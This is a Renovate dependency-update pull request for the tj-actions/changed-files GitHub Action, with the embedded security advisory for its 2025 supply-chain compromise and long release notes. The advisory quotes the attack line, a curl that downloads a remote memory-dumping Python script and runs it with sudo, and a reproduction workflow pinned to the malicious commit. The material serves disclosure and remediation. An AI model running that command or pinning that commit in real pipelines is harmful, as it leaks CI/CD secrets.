[renovate]

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Type	Update	Change
tj-actions/changed-files	action	major	v44 → v46

---

tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.

CVE-2025-30066 / GHSA-mrrh-fwg8-r2c3

More information

Details

Summary

A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.

This has been patched in v46.0.1.

Details

The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.

Key Indicators of Compromise (IoC):

• Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
• Retroactively updated tags pointing to the malicious commit:
  • v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67
  • v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67

Malicious Code Execution:

The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:

B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`

This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.

Proof of Concept (PoC)

Steps to Reproduce:

1. Create a GitHub Actions workflow using the tj-actions/changed-files action:

name: "tj-action changed-files incident"
on:
  pull_request:
    branches:
      - main
jobs:
  changed_files:
    runs-on: ubuntu-latest
    steps:
      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67

2. Run the workflow and inspect the logs in the Actions tab.
3. Vulnerable workflows may display secrets in the logs.

Detection:

Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:

• gist.githubusercontent.com

Live reproduction logs:
🔗 Harden-Runner Insights

This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.

Duration of Vulnerability

The vulnerability was active between March 14 and March 15, 2025.

Action Required

1. Review your workflows executed between March 14 and March 15:

   • Check the changed-files section for unexpected output.
   • Decode suspicious output using the following command:

     echo 'xxx' | base64 -d | base64 -d
     

   • If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.

2. Update workflows referencing the compromised commit:

   • If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.

3. Tagged versions:

   • If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

4. Rotate potentially exposed secrets:

   • As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

Impact

• Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
• Who is impacted:
  • Over 23,000 repositories using tj-actions/changed-files.
  • Organizations with public repositories are at the highest risk, as their logs may already be compromised.
• Potential consequences:
  • Theft of CI/CD secrets (API keys, cloud credentials, SSH keys).
  • Unauthorized access to source code, infrastructure, and production environments.
  • Credential leaks in public repositories, enabling further supply chain attacks.

Severity

• CVSS Score: 8.6 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H

References

• https://nvd.nist.gov/vuln/detail/CVE-2025-30066
• https://github.com/tj-actions/changed-files/issues/2463
• https://github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1#L191-L193
• https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised
• https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
• https://github.com/chains-project/maven-lockfile/pull/1111
• https://github.com/rackerlabs/genestack/pull/903
• https://news.ycombinator.com/item?id=43367987
• https://web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463
• https://github.com/espressif/arduino-esp32/issues/11127
• https://github.com/modal-labs/modal-examples/issues/1100
• https://github.com/tj-actions/changed-files/issues/2464
• https://github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1#L20-L28
• https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
• https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
• https://www.sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
• https://www.stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
• https://github.com/tj-actions/changed-files/issues/2477
• https://github.com/tj-actions/changed-files/releases/tag/v46.0.1
• https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
• https://blog.gitguardian.com/compromised-tj-actions
• https://github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5
• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066
• https://news.ycombinator.com/item?id=43368870
• https://github.com/advisories/GHSA-mrrh-fwg8-r2c3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

tj-actions/changed-files

v46.0.1

Compare Source

🐛 Bug Fixes

• Update log message when attempting to locate merge base (#​2493) (a5cad85) - (Tonye Jack)

➕ Add

• Add hint to revoke leaked token (#​2475) (d52b942) - (undefined)

🔄 Update

• Updated README.md (#​2496)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9cc867c) - (github-actions[bot])

• Updated README.md (#​2492)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (f2f439b) - (github-actions[bot])

• Updated README.md (#​2479)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (531f5f7) - (github-actions[bot])

• Updated README.md (#​2476)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (9237eb7) - (github-actions[bot])

📚 Documentation

• Add undefined-moe as a contributor for doc (#​2498) (26a3863) - (allcontributors[bot])
• Update update-readme.yml to use commit hashes in the docs (#​2495) (3a33fa9) - (Tonye Jack)
• Add RajendraP as a contributor for doc (#​2491) (678ecec) - (allcontributors[bot])
• Update versions (#​2488) (6482371) - (Tonye Jack)
• Remove link to commit (#​2481) (0fee5fb) - (Tonye Jack)
• Update README.md (#​2478) (dccd194) - (Tonye Jack)

⚙️ Miscellaneous Tasks

• Update sync-release-version.yml to use commit hash for tags in docs (#​2497) (a530a27) - (Tonye Jack)
• deps: Bump actions/setup-node from 4.2.0 to 4.3.0 (#​2484) (0b975f6) - (dependabot[bot])

⬆️ Upgrades

• Upgraded to v46.0.1 (#​2474)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@​users.noreply.github.com> (45fb12d) - (github-actions[bot])

v46.0.0

Compare Source

[!WARNING]
Security Alert: A critical security issue was identified in this action due to a compromised commit.

This commit has been removed from all tags and branches, and necessary measures have been implemented to prevent similar issues in the future.

Action Required:

• Review your workflows executed between March 14 and March 15. If you notice unexpected output under the changed-files section, decode it using the following command: echo 'xxx' | base64 -d | base64 -d
  If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
• If your workflows reference this commit directly by its SHA, you must update them immediately to avoid using the compromised version.
• If you are using tagged versions (e.g., v35, v44.5.1), no action is required as these tags have been updated and are now safe to use.

Additionally, as a precaution, we recommend rotating any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.

What's Changed

• docs: update docs to highlight security issues by @​jackton1 in #​2465
• fix: update github workflow update-readme.yml by @​jackton1 in #​2466
• fix: update permission in update-readme.yml workflow by @​jackton1 in #​2467
• fix: update update-readme.yml to sign-commits by @​jackton1 in #​2468
• Updated README.md by @​github-actions in #​2469
• update: sync-release-version.yml by @​jackton1 in #​2471

New Contributors

• @​github-actions made their first contribution in #​2469

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

What's Changed

• docs: update docs to highlight security issues by @​jackton1 in #​2465
• fix: update github workflow update-readme.yml by @​jackton1 in #​2466
• fix: update permission in update-readme.yml workflow by @​jackton1 in #​2467
• fix: update update-readme.yml to sign-commits by @​jackton1 in #​2468
• Updated README.md by @​github-actions in #​2469
• update: sync-release-version.yml by @​jackton1 in #​2471

Full Changelog: tj-actions/changed-files@v45.0.5...v46.0.0

v45.0.9

Compare Source

What's Changed

• Upgraded to v45.0.4 by @​tj-actions-bot in #​2344
• chore(deps): lock file maintenance by @​renovate in #​2345
• chore(deps): update dependency @​vercel/ncc to v0.38.3 by @​renovate in #​2348
• chore(deps): lock file maintenance by @​renovate in #​2349
• chore(deps): update dependency @​types/node to v22.9.1 by @​renovate in #​2352
• chore(deps): bump yaml from 2.6.0 to 2.6.1 by @​dependabot in #​2353
• chore(deps-dev): bump eslint-plugin-github from 5.0.2 to 5.1.1 by @​dependabot in #​2356
• chore(deps): update dependency typescript to v5.7.2 by @​renovate in #​2357
• chore(deps): update dependency @​types/node to v22.9.2 by @​renovate in #​2358
• chore(deps): update dependency @​types/node to v22.9.3 by @​renovate in #​2359
• chore(deps): lock file maintenance by @​renovate in #​2360
• chore(deps): update dependency @​types/node to v22.9.4 by @​renovate in #​2361
• chore(deps): update dependency @​types/node to v22.10.0 by @​renovate in #​2364
• chore(deps): update dependency prettier to v3.4.0 by @​renovate in #​2365
• chore(deps): update dependency prettier to v3.4.1 by @​renovate in #​2366
• chore(deps): update dependency eslint-plugin-github to v5.1.3 by @​renovate in #​2367
• chore(deps): update dependency @​types/node to v22.10.1 by @​renovate in #​2368
• chore(deps): lock file maintenance by @​renovate in #​2369
• chore(deps): update dependency prettier to v3.4.2 by @​renovate in #​2370
• chore(deps): update dependency eslint-plugin-github to v5.1.4 by @​renovate in #​2372
• Upgraded to v45.0.5 by @​tj-actions-bot in #​2374
• chore(deps): lock file maintenance by @​renovate in #​2375
• chore(deps): update dependency @​types/node to v22.10.2 by @​renovate in #​2376
• chore(deps): lock file maintenance by @​renovate in #​2377
• chore(deps): update dependency eslint-plugin-jest to v28.10.0 by @​renovate in #​2378
• chore(deps): lock file maintenance by @​renovate in #​2379
• chore(deps): update peter-evans/create-pull-request action to v7.0.6 by @​renovate in #​2380
• chore(deps): lock file maintenance by @​renovate in #​2382
• fix(deps): update dependency yaml to v2.7.0 by @​renovate in #​2383
• chore(deps): update dependency @​types/node to v22.10.3 by @​renovate in #​2385
• chore(deps): update dependency @​types/node to v22.10.4 by @​renovate in #​2386
• chore(deps): update dependency @​types/node to v22.10.5 by @​renovate in #​2387
• chore(deps): update dependency @​types/lodash to v4.17.14 by @​renovate in #​2388
• Upgraded to v45.0.6 by @​tj-actions-bot in #​2389
• chore(deps): lock file maintenance by @​renovate in #​2390
• chore(deps): update dependency eslint-plugin-github to v5.1.5 by @​renovate in #​2392
• chore(deps): update dependency typescript to v5.7.3 by @​renovate in #​2393
• fix(deps): update dependency @​octokit/rest to v21.1.0 by @​renovate in #​2394
• chore(deps): lock file maintenance by @​renovate in #​2395
• chore(deps): update dependency eslint-config-prettier to v10 by @​renovate in #​2396
• chore(deps): update dependency @​types/node to v22.10.6 by @​renovate in #​2397
• chore(deps): update dependency eslint-plugin-prettier to v5.2.2 by @​renovate in #​2399
• chore(deps): update dependency eslint-plugin-jest to v28.11.0 by @​renovate in #​2400
• chore(deps): update dependency @​types/node to v22.10.7 by @​renovate in #​2403
• chore(deps): update dependency eslint-plugin-prettier to v5.2.3 by @​renovate in #​2405
• chore(deps): lock file maintenance by @​renovate in #​2406
• chore(deps): update dependency @​types/node to v22.10.8 by @​renovate in #​2407
• chore(deps): update dependency @​types/node to v22.10.9 by @​renovate in #​2408
• chore(deps): update dependency @​types/node to v22.10.10 by @​renovate in #​2409
• chore(deps): lock file maintenance by @​renovate in #​2410
• chore(deps): update actions/setup-node action to v4.2.0 by @​renovate in #​2411
• chore(deps): update dependency eslint-plugin-github to v5.1.6 by @​renovate in #​2413
• chore(deps): update dependency @​types/node to v22.12.0 by @​renovate in #​2414
• chore(deps): update dependency @​types/lodash to v4.17.15 by @​renovate in #​2415
• chore(deps): update dependency eslint-plugin-github to v5.1.7 by @​renovate in #​2417
• chore(deps): update dependency @​types/node to v22.13.0 by @​renovate in #​2419
• chore(deps): lock file maintenance by @​renovate in #​2420
• chore(deps): update dependency @​types/node to v22.13.1 by @​renovate in #​2422
• chore(deps): update dependency eslint-plugin-github to v5.1.8 by @​renovate in #​2424
• Upgraded to v45.0.7 by @​tj-actions-bot in #​2425
• chore(config): migrate renovate config by @​renovate in #​2427
• chore(deps): lock file maintenance by @​renovate in #​2426
• chore(deps): update dependency prettier to v3.5.0 by @​renovate in #​2428
• chore(deps): lock file maintenance by @​renovate in #​2429
• chore(deps): update dependency @​types/node to v22.13.2 by @​renovate in #​2432
• chore(deps): update dependency prettier to v3.5.1 by @​renovate in #​2433
• chore(deps): update dependency @​types/node to v22.13.4 by @​renovate in #​2434
• fix(deps): update dependency @​octokit/rest to v21.1.1 by @​renovate in #​2435
• chore(deps): lock file maintenance by @​renovate in #​2436
• chore(deps): update dependency @​types/node to v22.13.5 by @​renovate in #​2439
• chore(deps): update dependency prettier to v3.5.2 by @​renovate in #​2440
• chore(deps): update dependency ts-jest to v29.2.6 by @​renovate in #​2441
• chore(deps): lock file maintenance by @​renovate in #​2442
• chore(deps): update peter-evans/create-pull-request action to v7.0.7 by @​renovate in #​2443
• chore(deps): update dependency eslint-config-prettier to v10.0.2 by @​renovate in #​2444
• chore(deps): update dependency typescript to v5.8.2 by @​renovate in #​2446
• chore(deps): update dependency @​types/node to v22.13.7 by @​renovate in #​2448
• chore(deps): update dependency @​types/lodash to v4.17.16 by @​renovate in #​2449
• chore(deps): update dependency @​types/node to v22.13.8 by @​renovate in #​2450
• chore(deps): lock file maintenance by @​renovate in #​2451
• chore(deps): update dependency prettier to v3.5.3 by @​renovate in #​2453
• chore(deps): update dependency @​types/node to v22.13.9 by @​renovate in #​2454
• chore(deps): update peter-evans/create-pull-request action to v7.0.8 by @​renovate in #​2455
• chore(deps): update dependency eslint-config-prettier to v10.1.0 by @​renovate in #​2457
• chore(deps): update dependency eslint-config-prettier to v10.1.1 by @​renovate in #​2458
• chore(deps): update dependency @​types/node to v22.13.10 by @​renovate in #​2459
• chore(deps): lock file maintenance by @​renovate in #​2460
• Upgraded to v45.0.8 by @​tj-actions-bot in #​2462

Full Changelog: tj-actions/changed-files@v45.0.4...v45.0.9

v45.0.8

Compare Source

🐛 Bug Fixes

• deps: Update dependency @​octokit/rest to v21.1.1 (#​2435) (fb8dcda) - (renovate[bot])
• deps: Update dependency @​octokit/rest to v21.1.0 (#​2394) (7b72c97) - (renovate[bot])
• deps: Update dependency yaml to v2.7.0 (#​2383) (5f974c2) - (renovate[bot])

⚙️ Miscellaneous Tasks

• deps: Lock file maintenance (#​2460) (9200e69) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.10 (#​2459) (e650cfd) - (renovate[bot])
• deps: Update dependency eslint-config-prettier to v10.1.1 (#​2458) (82af21f) - (renovate[bot])
• deps: Update dependency eslint-config-prettier to v10.1.0 (#​2457) (82fa4a6) - (renovate[bot])
• deps: Update peter-evans/create-pull-request action to v7.0.8 (#​2455) (315505a) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.9 (#​2454) (c8e1cdb) - (renovate[bot])
• deps: Update dependency prettier to v3.5.3 (#​2453) (bb6d1aa) - (renovate[bot])
• deps: Lock file maintenance (#​2451) (1f74fc9) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.8 (#​2450) (6f0fde1) - (renovate[bot])
• deps: Update dependency @​types/lodash to v4.17.16 (#​2449) (056cdb7) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.7 (#​2448) (4bc8595) - (renovate[bot])
• deps: Update dependency typescript to v5.8.2 (#​2446) (86d954f) - (renovate[bot])
• deps: Update dependency eslint-config-prettier to v10.0.2 (#​2444) (33dce23) - (renovate[bot])
• deps: Update peter-evans/create-pull-request action to v7.0.7 (#​2443) (422be01) - (renovate[bot])
• deps: Lock file maintenance (#​2442) (601adb1) - (renovate[bot])
• deps: Update dependency ts-jest to v29.2.6 (#​2441) (09f0e69) - (renovate[bot])
• deps: Update dependency prettier to v3.5.2 (#​2440) (c7e81c8) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.5 (#​2439) (02e0175) - (renovate[bot])
• deps: Lock file maintenance (#​2436) (251f07e) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.4 (#​2434) (6fe3586) - (renovate[bot])
• deps: Update dependency prettier to v3.5.1 (#​2433) (df76a83) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.2 (#​2432) (faaeb86) - (renovate[bot])
• deps: Lock file maintenance (#​2429) (4919c5a) - (renovate[bot])
• deps: Update dependency prettier to v3.5.0 (#​2428) (045c541) - (renovate[bot])
• deps: Lock file maintenance (#​2426) (563041e) - (renovate[bot])
• config: Migrate renovate config (#​2427) (809f04b) - (renovate[bot])
• deps: Update dependency eslint-plugin-github to v5.1.8 (#​2424) (dcc7a0c) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.1 (#​2422) (364748a) - (renovate[bot])
• deps: Lock file maintenance (#​2420) (301bed6) - (renovate[bot])
• deps: Update dependency @​types/node to v22.13.0 (#​2419) (be1c470) - (renovate[bot])
• deps: Update dependency eslint-plugin-github to v5.1.7 (#​2417) (81785a6) - (renovate[bot])
• deps: Update dependency @​types/lodash to v4.17.15 (#​2415) (065e671) - (renovate[bot])
• deps: Update dependency @​types/node to v22.12.0 (#​2414) (45cd7f3) - (renovate[bot])
• deps: Update dependency eslint-plugin-github to v5.1.6 (#​2413) (47f21ba) - (renovate[bot])
• deps: Update actions/setup-node action to v4.2.0 (#​2411) (3b30412) - (renovate[bot])
• deps: Lock file maintenance (#​2410) (eec6665) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.10 (#​2409) (cefd9aa) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.9 (#​2408) (6296564) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.8 (#​2407) (203f0af) - (renovate[bot])
• deps: Lock file maintenance (#​2406) (8b82442) - (renovate[bot])
• deps: Update dependency eslint-plugin-prettier to v5.2.3 (#​2405) (2b7a1ec) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.7 (#​2403) (a2600ce) - (renovate[bot])
• deps: Update dependency eslint-plugin-jest to v28.11.0 (#​2400) (5dc51d3) - (renovate[bot])
• deps: Update dependency eslint-plugin-prettier to v5.2.2 (#​2399) (18de9f3) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.6 (#​2397) (467e548) - (renovate[bot])
• deps: Update dependency eslint-config-prettier to v10 (#​2396) (556e62a) - (renovate[bot])
• deps: Lock file maintenance (#​2395) (4f1e6b0) - (renovate[bot])
• deps: Update dependency typescript to v5.7.3 (#​2393) (82deec7) - (renovate[bot])
• deps: Update dependency eslint-plugin-github to v5.1.5 (#​2392) (ef7202d) - (renovate[bot])
• deps: Lock file maintenance (#​2390) (01c978c) - (renovate[bot])
• deps: Update dependency @​types/lodash to v4.17.14 (#​2388) (d6e91a2) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.5 (#​2387) (73401cd) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.4 (#​2386) (7f28b2b) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.3 (#​2385) (c1f82ce) - (renovate[bot])
• deps: Lock file maintenance (#​2382) (bb364ec) - (renovate[bot])
• deps: Update peter-evans/create-pull-request action to v7.0.6 (#​2380) (7ac5902) - (renovate[bot])
• deps: Lock file maintenance (#​2379) (7c5097f) - (renovate[bot])
• deps: Update dependency eslint-plugin-jest to v28.10.0 (#​2378) (37dc9a5) - (renovate[bot])
• deps: Lock file maintenance (#​2377) (515a6b3) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.2 (#​2376) (ac47125) - (renovate[bot])
• deps: Lock file maintenance (#​2375) (ef3b6f1) - (renovate[bot])
• deps: Update dependency eslint-plugin-github to v5.1.4 (#​2372) (bab30c2) - (renovate[bot])
• deps: Update dependency prettier to v3.4.2 (#​2370) (657a3f9) - (renovate[bot])
• deps: Lock file maintenance (#​2369) (05f0aba) - (renovate[bot])
• deps: Update dependency @​types/node to v22.10.1 ([#​2368](https://redirect.github.com/tj-actions/chan

[!IMPORTANT]
✂ PR body was truncated to here.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[cla-assistant]

All committers have signed the CLA.